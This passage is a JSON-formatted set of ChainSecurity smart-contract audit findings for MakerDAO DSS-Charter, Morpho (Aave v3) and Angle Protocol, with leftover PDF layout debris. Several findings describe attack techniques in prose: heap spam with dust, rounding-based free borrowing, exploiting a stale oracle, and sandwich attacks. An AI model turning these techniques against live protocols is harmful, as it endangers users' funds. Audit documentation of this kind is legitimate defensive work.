efficient. The amount of external calls executed may be reduced. By checking whether a check of the credit line or the peace is even required first, the call to the Vat and the calculation of the tab could be skipped in case it's not needed. The current code however calls the Vat initially and then calculates the tab, before determining whether a credit line or peace check is needed. Acknowledged: Maker acknowledged the issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-charter-smart-contracts/"}, {"title": "5.2 Skip Calls When No Additional Debt Is Needed", "body": " DssProxyActionsCharter.draw() generates the debt required before exiting the DAI amount to the user's wallet: // Generates debt in the CDP _frob(charter, ilk, 0, _getDrawDart(charter, vat, jug, ilk, wad)); ... // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wad); MakerDAO - DSS-Charter - 10 DesignCriticalHighMediumLowAcknowledgedAcknowledgedAcknowledgedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \f_getDrawDart() may return 0 if no additional debt is required to exit the specified amount of DAI. The calls to CdpManager.frob() and Vat.frob() will execute nevertheless in this case, despite not being required. Acknowledged: Maker acknowledged the issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-charter-smart-contracts/"}, {"title": "5.3 getOrCreateProxy() or", "body": " proxy[msg.sender] The CharterManager implementation has a function getOrCreateProxy() which returns the address of an urn managed by the CharterManager for a user, or creates a new urn if it does not exist yet. Although, the Charter Manager features a public mapping proxy which stores the list of urns and their respective users, multiple functions in the DssProxyActionsCharter use getOrCreateProxy function even when not necessary, i.e., there is no need to create a new urn if it does not exist already. Examples of such functions are wipe(), wipeAll(), cashETH(), or cashGem. Similarly this also applies to CharterManager.quit(). The CharterManager features functions exit and flux. Both operate on the collateral of the user in the Vat. While flux transfers the collateral in the accounting of the Vat to another address, exit exits the collateral to the user. From an users perspective, for the account which is the source of the collateral these should behave similarly. Exit() however uses proxy[msg.sender] to load the address of the Urnproxy, while flux() uses getOrCreateProxy(src). Acknowledged: Maker acknowledged the issue. MakerDAO - DSS-Charter - 11 DesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Possible Revert Due to Underflow -Severity Findings Inconsistent Retrieval of Ilk Parameter Possible Optimization on Getting vat Address Unused Function _toRad() 0 0 1 3 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-charter-smart-contracts/"}, {"title": "6.1 Possible Revert Due to Underflow", "body": " Should the recorded DAI balance of the DSProxy at the Vat exceed the amount required to repay the debt, the subtraction in DssProxyActionsCharter._getWipeAllWad() will underflow causing the transaction to revert. _getWipeAllWad() now returns 0 when enough DAI is available to cover the debt. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-charter-smart-contracts/"}, {"title": "6.2 Inconsistent Retrieval of Ilk Parameter", "body": " The function cashETH in the DssProxyActionsCharter contract takes as parameters ethJoin and ilk among others. However, in other functions, e.g., freeETH(), wipeAllAndFreeETH(), etc. only ethJoin the adapter: bytes32 ilk = GemJoinLike(ethJoin).ilk(). is passed as parameter, while the ilk value retrieved from is cashEth() and cashGem() now retrieve the ilk from the adapter as the other functions do. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-charter-smart-contracts/"}, {"title": "6.3 Possible Optimization on Getting vat Address", "body": " MakerDAO - DSS-Charter - 12 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedDesignMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fMultiple functions in the DssProxyActionsCharter and DssProxyActionsEndCharter contracts receive the vat address as follows: address vat = CharterLike(charter).vat(). Considering that the vat contract is already deployed and its address is not expected to change, the contracts can store this value as immutable or constant to optimise gas costs. Both the address of the VAT and the CharterManager (which was previously passed as function argument) are now stored as immutables. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-charter-smart-contracts/"}, {"title": "6.4 Unused Function _toRad()", "body": " The function _toRad() is implemented in DssProxyActionsCharter but it is not used. The unused function has been removed. MakerDAO - DSS-Charter - 13 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-charter-smart-contracts/"}, {"title": "7.1 Overflow When Drawing More Than 100", "body": " Trillion Debt Theoretically, the function _getDrawDart() can overflow when computing dart: dart = _toInt256( _mul(netToDraw, WAD) / _sub(_mul(rate, WAD), _mul(rate, nib))). netToDraw is in rad (45 decimals) and wad has 18 decimals, therefore for large netToDraw (greater than 10**14) the computation overflows. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-charter-smart-contracts/"}, {"title": "7.2 Possible Overflow in exit()", "body": " The function exit() in ManagedGemJoin contract converts uint256 wad into a negative value: -int256(wad). Before the conversion, the following check is performed to prevent overflows: require(wad <= 2 ** 255). Theoretically, if wad == 2 ** 255 the overflow will happen twice, but the result matches the expected value in this case. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-charter-smart-contracts/"}, {"title": "7.3 Unaware Users and Permissioned Ilks", "body": " Unaware users may deposit collateral for a permissioned ilk. Only when a user attempts to draw debt for such a permissioned ilk the transaction will revert. The reason is that for a permissioned ilk an unpermissioned user has a credit line of 0, hence cannot take on debt. The error message CharterManager/user-line-exceeded and the place where the transaction reverts may be confusing for an unaware user. MakerDAO - DSS-Charter - 14 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-charter-smart-contracts/"}, {"title": "5.1 Heap Data Structure Can Be Spammed", "body": " The users' supply and borrow information is stored in Heap data structures. The parameter _maxSortedUsers sets the maximum sorted user amount in order to limit the gas spent on updating the Heap. The data structure would halve the length of the Heap when maxSortedUsers is exceeded. However, this behavior would potentially put an incoming user to a higher priority than an existing one. This behavior can be abused by bad actors to fill the ordered portion of the Heap with dust: Consider the following example: maxSortedUsers is set to 4. Step 1: User 1 and user 2 are legitimate users that supplied 400 and 300 tokens respectively. Step 2: An attacker now supplies 600, 500 and 1 token with three different addresses. Step 3: The attacker withdraws 599 and 499 tokens from accounts 3 and 4. The described behavior is detailed in Figure 1. Blue boxes show accounts in the ordered portion of the Heap, green boxes show accounts in the non-ordered portion. Morpho Labs - Morpho (Aave v3) - 11 DesignCorrectnessCriticalHighRiskAcceptedMediumRiskAcceptedLowCodePartiallyCorrectedCodePartiallyCorrectedCodePartiallyCorrectedRiskAcceptedRiskAcceptedCorrectnessHighVersion1RiskAccepted \fFigure 1: Spam attack on the Heap As a result, the supplied liquidity of users 1 and 2 is now only reachable after the dust of the attacker's accounts has been matched. Risk accepted: Morpho Labs accepts the risk with the following statement: We know that the heap structure has still some drawbacks (even if it\u2019s better than the double linked list implemented on the compound contracts) and we acknowledge the manipulation of the heap. The spam attack is likely to be costly to conduct, moreover, if users come after with greater amounts the dust accounts will be pushed outside the heap. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "5.2 Interfaces Not Implemented / Available", "body": " Morpho does not extend the IMorpho interface. This can lead to errors during development and integration by third parties as the interface might not match up with the implementations. Indeed, the IMorpho interface lacks some public functions like setInterestRates or incentivesVault. Risk accepted: Morpho Labs accepts the risk and tries to maintain correct interfaces. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "5.3 Ambiguous Naming", "body": " The function MorphoGovernance.setInterestRates is a setter for the InterestRateManager address, contrary to the function name which implies it sets interest rate values. Code partially corrected: MorphoGovernance.setInterestRates to MorphoGovernance.setInterestRateManager but still emits an event InterestRatesSet with ambiguous naming. renamed been has Morpho Labs - Morpho (Aave v3) - 12 CorrectnessMediumVersion1RiskAcceptedDesignLowVersion1CodePartiallyCorrected \f5.4 Gas Inefficiencies Gas efficiency can be improved in several places: The underlying (e.g. EntryPositionsManager.supplyLogic). The addresses could be cached in the contract's storage instead to avoid unnecessary external calls. token of AAVE's aTokens in some functions fetched is Redundant storage reads are performed in some functions. The values could be cached in the stack or in memory: delta.p2pBorrowDelta is read multiple times in EntryPositionsManager.supplyLogic. userMarkets[_user] is read in every iteration of functions that call MorphoUtils._isSupplyingOrBorrowing. Many more examples can be found. Redundant storage writes are performed in some functions. The values could be updated in a stack or memory variable and written to storage at the end. ExitPositionsManager._safeRepayLogic updates delta.p2pBorrowAmount up to 3 times. ExitPositionsManager._safeRepayLogic updates delta.p2pSupplyAmount up to 2 times. Redundant external calls are performed in some functions. The values could be cached in the stack or memory and passed to other called functions: IAToken.UNDERLYING_ASSET_ADDRESS is called in EntryPositionsManager.borrowLogic and in the sub-call to _borrowAllowed. Calls to pool.getConfiguration in ExitPositionsManager.liquidateLogic are already performed by the sub-call to _liquidationAllowed. MorphoGovernance.createMarket calls pool.getConfiguration and then pool.getReserveData which also contains the configuration. MorphoGovernance.createMarket, from In pool.getReserveNormalizedIncome and pool.getReserveNormalizedVariableDebt could be computed from the already fetched reserve data. retrieved values the Rounding errors can cause matching of dust. This could be avoided by using fractions to store principal values: Instead of dividing token amounts by an index and later multiplying again by an index (division before multiplication), principal values could be stored as (uint128, uint128) tuples of the base value and the index at that time. This change requires careful handling of uint128 casts though. Some checks can be performed earlier in the code, saving callers some gas on reverting transactions: _borrowAllowed in EntryPositionsManager.borrowLogic. Maximum number of markets check in MorphoGovernance.createMarket. Unnecessary computations: ExitPositionsManager.withdrawLogic does not have to check if the user is supplying. Instead, it could revert on toWithdraw == 0. Morpho Labs - Morpho (Aave v3) - 13 DesignLowVersion1CodePartiallyCorrected \f ExitPositionsManager._safeWithdrawLogic potentially calls _updateSupplierInDS 2 times with no overlap. Changes in the Heap data structures that result in one account being removed and another account being updated could be performed with a replace action instead of pop + push. Tighter packing of storage variables is possible (careful casting is necessary though). p2pSupplyIndex and p2pBorrowIndex could be packed as uint128 into a single struct, since most of the time, both values are read from the storage together. The fields of the structs SupplyBalance and BorrowBalance could be reduced to uint128. Many variables in MorphoStorage (e.g. entryPositionsManager) could be defined as immutable. Since the Morpho contract is Upgradeable, the values can be changed by updating the proxy implementation. In ExitPositionsManager._getUserHealthFactor functions with similar use-case), each asset price is individually fetched with oracle.getAssetPrice. Since the Aave oracle exposes a function to fetch multiple asset prices at once, some external calls can be saved by using oracle.getAssetsPrices. (and other Code partially corrected: Corrected: Underlying token addresses are now saved in the market storage variable. Partially corrected: Redundant storage reads have been improved on some occasions but still happen in various places. Not corrected: The mentioned examples have not been updated to reduce storage writes. Not corrected: The first example is obsolete because of another change, the other examples have not been addressed. Not corrected: The suggested change has not been implemented. Partially corrected: createMarket now checks for the maximum number of markets in the beginning of the function. Corrected: The mentioned redundant computations have been removed. Not corrected: pop + push is still used. Not corrected: Variables are not packed more tightly. Not corrected: No variables have been changed to immutable. Not corrected: oracle.getAssetPrices is not used. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "5.5 Missing Sanity Checks", "body": " Morpho.createMarket does not check if the _underlyingTokenAddress is the 0-address. Multiple Governance setters do not check if address parameters are the 0-address. The initializer of MorphoGovernance does not check if maxSortedUsers is zero. However, the check is applied in setMaxSortedUsers. The ExitPositionsManager.liquidateLogic can be called with an _amount of 0, while this is not possible in other entry points. Morpho Labs - Morpho (Aave v3) - 14 DesignLowVersion1CodePartiallyCorrected \fCode partially corrected: Corrected: Morpho.createMarket now checks if _underlyingToken is the 0-address. Corrected: Setters now check for the 0-address except if the respective field can be intentionally set to the 0-address. Corrected: The MorphoGovernance initializer now checks if maxSortedUsers is zero. Not corrected: ExitPositionsManager.liquidateLogic can still be called with an _amount of 0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "5.6 Rewards Can Be Withdrawn by Admins", "body": " Morpho.claimRewards transfers accrued rewards of Morpho (Aave v3)'s whole position from Aave when a user claims their share of the rewards. This means that some tokens may now be owned by the Morpho contract, which can later be claimed by other users. If one of the reward tokens is however an active market on Morpho (Aave v3), the tokens are claimable by the contract admin. In this case, both fees and user rewards are mixed together and the contract admin could accidentally mistake all of the tokens for fees and withdraw them. This would result in rewards not being claimable by all users that are entitled to them. Risk accepted: Morpho Labs accepts the risk stating that the admin (or DAO) is not advised to withdraw fees when there is a running rewards program where the reward token is equal to one of the market tokens. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "5.7 Variable Shadowing", "body": " In InterestRateManager.updateIndexes and MorphoGovernance.createMarket, the state variable poolIndexes is shadowed by a local variable. MorphoUtils.isMarketCreatedAndNotPaused and In isMarketCreatedAndNotPausedNorPartiallyPaused, the state variable marketStatus is shadowed by a local variable. Risk accepted: Morpho Labs accepts the risk. Furthermore, additional storage variables are shadowed in some functions now. Morpho Labs - Morpho (Aave v3) - 15 DesignLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 0 1 14 -Severity Findings -Severity Findings -Severity Findings Unadapted amountToLiquidate -Severity Findings Free Borrowing of Small Amounts Possible Function Can Be Restricted to Pure Incorrect and Missing Specs Limited Liquidation Amount MorphoToken Not Safely Transferred P2pBorrowDelta Always Zero Potentially Different RewardsController Address Redundant Code Similar Code Abstraction Unused Imports / Errors Use of Deprecated Function Withdrawal Denial of Service Withdrawals Do Not Check Oracle Health Wrong Event Data ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.1 Unadapted amountToLiquidate", "body": " In liquidateLogic, amountToLiquidate is computed before amountToSeize is capped. However, amountToLiquidate is not adapted to the capped amountToSeize, which may cause the liquidator to repay more than the value of the collateral they obtain. If amountToSeize exceeds the amount of the liquidated user's collateral balance of the requested token, amountToLiquidate is adjusted as follows: Morpho Labs - Morpho (Aave v3) - 16 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignMediumVersion1CodeCorrected \famountToLiquidate = ((collateralBalance * collateralPrice * vars.borrowedTokenUnit) / (borrowedTokenPrice * vars.collateralTokenUnit)) .percentDiv(vars.liquidationBonus); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.2 Free Borrowing of Small Amounts Possible", "body": " Certain circumstances allow for the borrowing of very small amounts of tokens without supplying collateral beforehand: EntryPositionsManager._borrowAllowed computes the values of the supplied and borrowed tokens in a base currency and checks whether an additional borrowed amount would result in the account being underwater. For an account with 0 supplied and borrowed balances, the following computation determines if a borrow is allowed: liquidityData.debtValue += (_borrowedAmount * assetData.underlyingPrice) / assetData.tokenUnit; Depending on the price oracle, a small _borrowedAmount might result in integer division that rounds to 0. This would satisfy the final check and allow the borrowing of the given amount: the decimals of the decimals of token and the liquidityData.debtValue <= liquidityData.maxLoanToValue Morpho (Aave v3) uses the oracles of the underlying AAVE pool, which in turn uses Chainlink price feeds. On ETH Mainnet, AAVE uses Chainlink price feeds in ETH base currency, which have 18 decimals (this is true for AAVE v2. AAVE v3 is not yet live on Mainnet at the time of this writing). On other chains (e.g. Optimism), AAVE uses feeds with USD base currency, which only have 8 decimals. In this case, many tokens become susceptible to this problem. Since the claimable amounts are significantly lower than the amount of gas that has to be paid, the bug is of very low severity. The division by tokenUnit is now performed using the function Math.divUp. This function adds 1 wei to the debt if (_borrowedAmount * underlyingPrice) % tokenUnit != 0. Therefore, borrowing small amounts of tokens without sufficient collateral is not possible anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.3 Function Can Be Restricted to Pure", "body": " The function RewardsManager._getRewards can be restricted to pure as it does not read from the storage. Morpho Labs - Morpho (Aave v3) - 17 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f_getRewards is now marked as pure. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.4 Incorrect and Missing Specs", "body": " In MorphoGovernance, doc comments wrongly specify a _poolTokenAddress parameter for the MarketCreated event. Function comments in MatchingEngine.sol should mention Aave instead of Compound. All fields of struct Types.Delta are expressed in underlying decimals instead of in WAD as claimed in the specs. Some parameters are missing in the specs of RewardsManager._updateRewardData. Corrected: The MarketCreated event is now correctly documented. Corrected: The correct protocol name has now been added to all comments in MatchingEngine. Corrected: The correct decimal types are now documented for all Types.Delta fields. Corrected: RewardsManager._updateRewardData parameters are now correctly documented. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.5 Limited Liquidation Amount", "body": " Liquidations in Morpho (Aave v3) are only allowed up to a maximum of 50% of the user's borrowed assets. This is true even when the health factor of the user is below 95%. This is contrary to the implementation of the underlying Aave pool, which allows for a liquidation of the whole user position when the user's health factor drops below 95%. This behavior can increase the risk of Morpho's position on Aave becoming liquidatable (for example because liquidation bots on Morpho are not working efficiently). User positions with a health ExitPositionsManager._liquidationAllowed returns the respective liquidation close factor. factor below 95% can now be liquidated completely. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.6 MorphoToken Not Safely Transferred", "body": " IncentivesVault.tradeRewardTokensForMorphoTokens transfers MORPHO tokens without checking a possible return. It is advised to use SafeTransferLib.safeTransfer in this case. This might not be necessary depending on the implementation of the MORPHO token. At the time of this writing, no such contract is known to us. Therefore, we are unable to verify if the use of transfer is safe in this case. Morpho Labs - Morpho (Aave v3) - 18 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f tradeRewardTokensForMorphoTokens now uses safeTransfer to transfer MORPHO tokens. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.7 P2pBorrowDelta Always Zero", "body": " When repaying the fee in ExitPositionsManager._safeRepayLogic, delta.p2pBorrowDelta has already been reduced to 0 at this point and could be safely removed from the equation. _safeRepayLogic does not take delta.p2pBorrowDelta into account anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.8 Potentially Different RewardsController", "body": " Address The Morpho and RewardsManager contracts may have different RewardsController addresses as there is no synchronization between them at initialization. RewardsManager does not store the RewardsController address anymore. Instead, the address is passed to its functions as an argument. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.9 Redundant Code", "body": " In EntryPositionManager the second if check is redundant as shown below. if (toWithdraw > 0) { uint256 toAddInP2P = toWithdraw.rayDiv(p2pBorrowIndex[_poolTokenAddress]); // In peer-to-peer unit. deltas[_poolTokenAddress].p2pBorrowAmount += toAddInP2P; borrowBalanceInOf[_poolTokenAddress][msg.sender].inP2P += toAddInP2P; emit P2PAmountsUpdated(_poolTokenAddress, delta.p2pSupplyAmount, delta.p2pBorrowAmount); if (toWithdraw > 0) _withdrawFromPool(underlyingToken, _poolTokenAddress, toWithdraw); // Reverts on error. } In EntryPositionManager.sol, the function _borrowAllowed does not need to check if _amount == 0, because this is already checked at the beginning of borrowLogic. In liquidateLogic, the check _isBorrowingAny(_borrower) is redundant, because it is already by _isBorrowing(_borrower, _poolTokenBorrowedAddress). beginning checked the at Morpho Labs - Morpho (Aave v3) - 19 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The redundant code parts have been removed / are not relevant anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.10 Similar Code Abstraction", "body": " functions The and EntryPositionsManager._borrowAllowed share a similar code base that should be abstracted away to avoid maintenance problems. ExitPositionsManager._getUserHealthFactor common The logic EntryPositionsManager._borrowAllowed MorphoUtils._liquidityData. of ExitPositionsManager._getUserHealthFactor has been abstracted into the and function ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.11 Unused Imports / Errors", "body": " MorphoGovernance defines the AmountIsZero error, but it is never used in the inheritance hierarchy of the contract. The AmountIsZero error has been removed from MorphoGovernance. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.12 Use of Deprecated Function", "body": " PositionsManagerUtils.supplyToPool calls the pool.deposit function which is deprecated in Aave. supplyToPool now calls pool.supply on Aave instead. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.13 Withdrawal Denial of Service", "body": " ExitPositionsManager.withdrawLogic calls _getUserHealthFactor if the user is borrowing any tokens. If the user's borrow balance is small and if the called Aave oracle returns a number with Morpho Labs - Morpho (Aave v3) - 20 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \flower decimals than the token's, then _getUserHealthFactor will revert on division by zero, preventing any withdrawals by the user. This issue is related to Free borrowing of small amounts possible. The division by tokenUnit is now performed using the function Math.divUp. This function adds 1 wei to the debt if (_borrowedAmount * underlyingPrice) % tokenUnit != 0. Therefore, a division by zero even with small debts is not possible anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.14 Withdrawals Do Not Check Oracle Health", "body": " On withdrawals, Morpho the PriceOracleSentinel of AAVE. While AAVE does this the same way, there are still risks associated. Consider the following example: (Aave v3) does not check for oracle health through A tokens and B tokens are both worth exactly 1 USD. A user supplies 500 A tokens and borrows 200 B tokens. The user can withdraw up to 200 A tokens and still maintain a good health factor. Now the price of A tokens rapidly changes to 0.2 USD, but the price oracle for A tokens has not updated for a few days and still shows 1 USD / A token. The user is now still able to withdraw 200 A tokens while in reality, his position is already under water. As the recent debacle with Chainlink price feeds of LUNA has shown, oracles that are not updating prices in a timely manner can become very problematic for lending protocols. It is therefore advised to check the health of such oracles. Unfortunately, at the time of this writing, AAVE has not deployed a PriceOracleSentinel so the problem persists also for liquidations and borrowing until AAVE deploys these mechanisms. ExitPositionsManager._withdrawAllowed now checks priceOracleSentinel.isBorrowAllowed(). the oracle health by calling ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.15 Wrong Event Data", "body": " The following events contain wrong data: ExitPositionsManager._safeWithdrawLogic emits the event P2PBorrowDeltaUpdated with delta.p2pBorrowAmount instead of delta.p2pBorrowDelta. ExitPositionsManager._safeRepayLogic emits the event P2PSupplyDeltaUpdated with delta.p2pBorrowDelta instead of delta.p2pSupplyDelta. Morpho Labs - Morpho (Aave v3) - 21 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f The mentioned events are now emitted using the correct parameters. Morpho Labs - Morpho (Aave v3) - 22 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "7.1 Accidental Ownership Transfers", "body": " Morpho (Aave v3) contracts use OpenZeppelin's Ownable contract to store ownership. Ownable employs a single-step ownership transfer. Accidental transfers to the wrong address will lock out the owner indefinitely. For this reason, special care has to be taken when updating the ownership of the contracts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "7.2 Delta Reduced When P2P Is Disabled", "body": " If p2pDisabled is set to true, the peer-to-peer delta is reduced instead of borrowers / suppliers unmatched. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "7.3 IncentivesVault Security Relies on Oracle", "body": " Implementation The Security of IncentivesVault.tradeRewardTokensForMorphoTokens the implementation of the oracle that is set to calculate the value of the given rewards. Since there is no implementation available at the time of this writing, we cannot attest if the use of this function is secure. relies on Morpho Labs aims to implement a TWAP oracle based on Uniswap v3 in the future. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "7.4 Lack of Balance Functions", "body": " The Morpho contract does not expose view functions for user balances. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "7.5 Liquidation Risk on Aave", "body": " If Morpho's position on Aave is liquidated, the unmatched accounting of Morpho and Aave would break Morpho's availability and possibly lock users' funds. Besides, fully pausing Morpho would increase the liquidation risk on Aave. Efficient arbitrage bots are required to run on Morpho so that the underlying position on Aave does not become liquidatable. Morpho Labs - Morpho (Aave v3) - 23 NoteVersion1NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f7.6 Liquidations May Affect Rates of P2P Users ExitPositionsManager.liquidateLogic calls repayLogic and withdrawLogic with 0 gas for matching. This can lead to worse rates for P2P users as supply / borrow delta can be increased by these operations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "7.7 No Delay Mechanism for Parameter Updates", "body": " There is no delay mechanism for the updates of parameters to take into effect. Users who are not satisfied with the upcoming updates would not have time to leave the market. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "7.8 Potentially Exceeding maxGasForMatching", "body": " As shown below, the matching functions potentially use slightly more gas than the users' given _maxGasForMatching. while ( remainingToMatch > 0 && (firstPoolSupplier = suppliersOnPool[_poolTokenAddress].getHead()) != address(0) ) { unchecked { if (gasLeftAtTheBeginning - gasleft() >= _maxGasForMatching) break; } ... } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "7.9 Unsupported Tokens", "body": " The following tokens can not be used in Morpho Markets without repercussions: Aave siloed assets. Aave isolated assets. Tokens with high decimals (e.g. 27) because the amountToSeize calculation in EntryPositionsManager.liquidateLogic might overflow on realistic token amount values. Tokens that charge a transfer fee (e.g. STA, PAXG). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "7.10 Year 2106 Problem for Uint32 Timestamps", "body": " Timestamps are written to storage which could impose problems on the storage layout in the year 2106. Morpho Labs - Morpho (Aave v3) - 24 NoteVersion1NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f7.11 safeTransferFrom Does Not Revert on Calls to an EOA Morpho (Aave v3) uses Rari Capital's SafeTransferLib to support tokens that revert on transfers as well as tokens that return a boolean value. The functions, especially safeTransferFrom, however do not revert if the called token is not a contract. In this case, Morpho (Aave v3) contracts could be tricked into thinking that a token transfer from a user was successful when in fact nothing happened. As of now, Morpho (Aave v3) is not affected by this behavior since all token addresses are directly taken from Aave which correctly checks for contracts in its safeTransferFrom function. Future changes of the code should take this into account. Morpho Labs - Morpho (Aave v3) - 25 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/morpho-aave-v3/"}, {"title": "6.1 Cached Rate May Be Wrong", "body": " 0 0 3 5 OracleMulti allows to read rates from Chainlink and Uniswap circuits with _readAll(). First the Uniswap rate is computed. However, the Uniswap circuit may not be final, meaning that the last pair (e.g. WETH to USD) requires a Chainlink rate. Next the Chainlink rate is read from the circuit. The rate of the last Chainlink circuit pair is cached, to be used for further computations on the Uniswap rate. However, the constructor allows for the last Chainlink and Uniswap pairs to be different. Thus, the following scenario is possible: 1. OracleMulti is initialized with a Chainlink circuit (UNI-WBTC, WBTC-USD) and a Uniswap circuit (UNI-WETH). That means that the Uniswap is not final and a Chainlink rate has to be read for the rate WETH-USD. 2. The Chainlink rate is calculated and the WBTC-USD rate is cached. 3. The Uniswap UNI-WETH rate is computed. Inside the branch if (uniFinalCurrency > 0) the calculation of the rate is finalized using the cached WBTC-USD rate which leads to an incorrect result, as the rate for WETH-USD should have been used instead. Angle - Angle Protocol - 13 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedCodePartiallyCorrectedAcknowledgedCodePartiallyCorrectedLowRiskAcceptedAcknowledgedRiskAcceptedRiskAcceptedRiskAcceptedCorrectnessMediumVersion1RiskAccepted \fRisk accepted: Angle will make sure that the Uniswap and Chainlink circuits are compatible. A comment has been made in the code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "6.2 Missing Slippage Protection for Users", "body": " There is no slippage protection for users interacting with the mint(), burn(), deposit() or withdraw() functions of a StableMaster contract nor for actors interacting with certain functions of a PerpetualManager contract which calculate the cash out amount of a perpetual. A user can get caught unlucky, especially as fees depend on the current state of the system or as the cash out amount of a perpetual depends on the current rate returned by the Oracle. There is a risk of sandwich attacks on user's transaction: A user's transaction may be sandwiched between two of the attacker's transaction. The first transaction of the attacker may change the state of a system resulting in an unfavorable outcome of the user's transaction while the attacker profits with his second transaction just after the user's transaction. Code partially corrected: A slippage protection has been added for stable seekers minting and burning. Slippage protection has been introduced 